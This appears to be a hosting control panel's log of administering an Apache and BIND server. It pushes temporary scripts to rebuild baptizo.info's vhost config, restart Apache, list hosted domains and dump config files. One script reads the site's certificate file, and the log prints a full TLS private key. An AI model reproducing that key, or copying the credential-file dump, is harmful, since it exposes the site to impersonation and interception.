    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/baptizo_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf= 1'
fi


2026-07-12 19:11:42: 

chmod 755 /tmp/pkp308990; /tmp/pkp308990; rm /tmp/pkp308990

2026-07-12 19:11:42: 




2026-07-12 19:11:42: 

PUT: /tmp/pkp758070

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-12 19:11:42: 

chmod 755 /tmp/pkp758070; /tmp/pkp758070; rm /tmp/pkp758070

2026-07-12 19:11:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-12 19:11:42: Establishing a connection
2026-07-12 19:11:42: 

PUT: /tmp/pkp277831

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-12 19:11:42: 

chmod 755 /tmp/pkp277831; /tmp/pkp277831; rm /tmp/pkp277831

2026-07-12 19:11:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-12 19:11:43: 

PUT: /tmp/pkp701267

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/baptizo_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-12 19:11:43: 

chmod 755 /tmp/pkp701267; /tmp/pkp701267; rm /tmp/pkp701267

2026-07-12 19:11:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf	1355

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-12 19:11:43: 

PUT: /tmp/pkp212679

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-12 19:11:43: 

chmod 755 /tmp/pkp212679; /tmp/pkp212679; rm /tmp/pkp212679

2026-07-12 19:11:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt	7432
04:05:82:ad:0e:4a:8f:b4:9d:a5:ba:27:1c:34:73:5f

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBUpqr0gAxE/ltMl8Od4+k0ZkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzEyMTgxMzExWhcNMjYxMDEwMTgxMzEwWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV
FaJzZjnXYvpREfptGhW81dQXImoflX+J2R+6LKGmDiERbcwiwE1cNWH0uJhobT4j
dasfdCbikm1Umnd/Z5UMPBQcdvvEXSxJBVMumjWgp/uI15ACcxE1uNS8bi5mED4m
aQaxOVwXTJZoovuH1PufvMXUuWCERJoXWud8h3c62OQ8sxPDKxLMeWQt02EH5fdf
0SF/srJWKXWBpxV8Ny7WuJE4coDpf7OwAGN4qpf6oquqqZqVV0ds/jfVP4P/oPN5
m8E+NpF0PlimIowWMDlf3IBkHCl/9/78NnulUrtbrJkZH5rwai1DuGixB3/4Fdh9
xfwiWOpDkK1Wbskcd8JJAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUMs3Xaxnt
hLsRFX+JdGFEzQd1hREwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPsw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxiYXB0aXpvLmluZm+CEHd3dy5iYXB0aXpvLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3ly
MS5jLmxlbmNyLm9yZy8xMDEuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcA
yzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGfV74OIwAABAMASDBG
AiEAwImLtoRxue0mscEaGNKaGrEJzrGX0JWKlP0hW3k1IHkCIQD+0iIfapHu/HJr
pqk7AUEfYhHZnmD+5Bhjc9BLAjSbgwB+AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWE
INFzgJ4YGOs6AAABn1e+DzIACAAABQAU6xrMBAMARzBFAiA+u7PX2Zjlf0SZOkHE
OlWXA3eXgt/Tcew8iRr0SJjn5AIhALZ+KSfX85fpHRcF6LOS7ZUdScVneNL+jEdT
ByDXU/k4MA0GCSqGSIb3DQEBCwUAA4IBAQCfHqXtgchVxS7zWK8/sZhZjCWTim1H
ZI+l+nPuMbXf1hpRDGI9clboHTfXUfCc7vPMEZRyYa5KF/2WEydzTOcIpF8ZH6tI
5VKzu9LesRKa+G2WW4T0imxpHGodLQcV6nVg7Q60KltS31yke9DTv2CPnYChCG89
AGmX0WiEmDPVhOik9zEpkbFxCmVGPIjIW8jdQat1xqe6sYdOntaCJ+eCVxLz5BjF
idfSyrYGJmw4iwKnlGGGKsdSrD4F9wKp/dEGbNakVOsaFj1SBshxOlyzdE6xpZAz
Kif7B8LkoinlH4uOzwv0WphdUg16IysPbgU9+JQPm8zkhdmVY89uh1qv
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCVFaJzZjnXYvpR
EfptGhW81dQXImoflX+J2R+6LKGmDiERbcwiwE1cNWH0uJhobT4jdasfdCbikm1U
mnd/Z5UMPBQcdvvEXSxJBVMumjWgp/uI15ACcxE1uNS8bi5mED4maQaxOVwXTJZo
ovuH1PufvMXUuWCERJoXWud8h3c62OQ8sxPDKxLMeWQt02EH5fdf0SF/srJWKXWB
pxV8Ny7WuJE4coDpf7OwAGN4qpf6oquqqZqVV0ds/jfVP4P/oPN5m8E+NpF0Plim
IowWMDlf3IBkHCl/9/78NnulUrtbrJkZH5rwai1DuGixB3/4Fdh9xfwiWOpDkK1W
bskcd8JJAgMBAAECggEADociyYDdg7Ib5BwoY/4pJOzn06+0cvESkja1jMlRbbXt
99DUFh7Y0XKySDK+eo6kTrhMvXshvu23kbye7UXR+ts8t0Yw/c9GkLPgI0GlY2Th
pVG8StpqHVFICdGC2/20algzVFnbZSA/F/tDhgncBPjt6yJ717ShTEO9HLmAUoLI
ezR555YM6RgJoOKQWTCvGn0mmPQlIzN84rzPm8l17fKLxt6xM9PZzl4b6OysCvJ2
MyY1Wu7t2Gj3d8pvFxcgWVUMx3/dKeFc5DIf+EWBjjwTRbi6NWC55gnI+y8KixGl
ZoW40+QzKYwzfK9YZUN3xMb0xKQEups1F1T7ylvsMQKBgQDR+DLsLtJlvRUy1rDU
cb/ZG0tolkpBmTg9HbKora8rw6IGjkUpmmf9/bVXmHho23BJTr5Jbyqq2Wkpv/dp
qNVFrG+X4mAfgQiZ/m07zFPv4rHk30q2raldnNAhVwv0FLA07Hp1xmldBaZ/FE72
wCxHyuF7scZ3K3X+6XPPkGdqowKBgQC1xHpvHvqRc6Fl3PKXBL4cBiO+Hl7ts6ZG
BsLJI5joQds+IB74vDXaOrblfzLZzcWH8Ua5GbA4W6OOATHkd7RztSlZ40y//4Tf
wEeiSXLWgMG/lmxvyW9WOO5DyYNyPoMnp7GU45KJdk+aLQrPxqc0+V2Hcl5Q5oeI
YyYDaxv6IwKBgQDAgjZ2Eyu2OdlQxkRUU4JZFMxbtMeaQ1eruSnPu4aKspBAQHqq
/TVxSwbTrChhwye9HqQaggD1qeXgcG/wAOqhOcsKz3PgDpcLUZlnJRykKQ1/UTaY
LLrG6HpuxvdfrwQrUdGpX+PEdOTFSKJpW6J9pEZ9+W2EX2WM9Q/Ic5ZNzwKBgQCf
hLXaTXqjKbJMPhKcHGpnF7BIikjPHSlgLVDGyrnHovww0mm76xjr0zltwSq0YNTp
EAL8MSIo46tu1XeexLsWDLgkjcluemV3JDz5nLHutALVC8NQe5x9M+tOjEwSd/AM
XiwHuYyBnNYRPVROsk1NvUaqtuE06IurUzAqMdbUtwKBgD+ofENTKKhrZ/gr3zLQ
tztj2vhfJWFKyFD3ppK1z4BpJ8q6R06oLPR/gnLsu/i7mqxJNVV9HCdrZrhDZiaX
M3kDSy4ADHcdrPaKraaefqFYHPFKPxajx/1ub3Fd6H1OMGfZ8+I9ynfu9iDIBs63
EbsoUz4YQwLlnnIO3BsWLWbA
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-12 19:23:30: Establishing a connection
2026-07-12 19:23:36: Establishing a connection
2026-07-12 19:23:37: 

PUT: /tmp/pkp511681

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-12 19:23:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp511681; rm /tmp/pkp511681'

2026-07-12 19:23:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
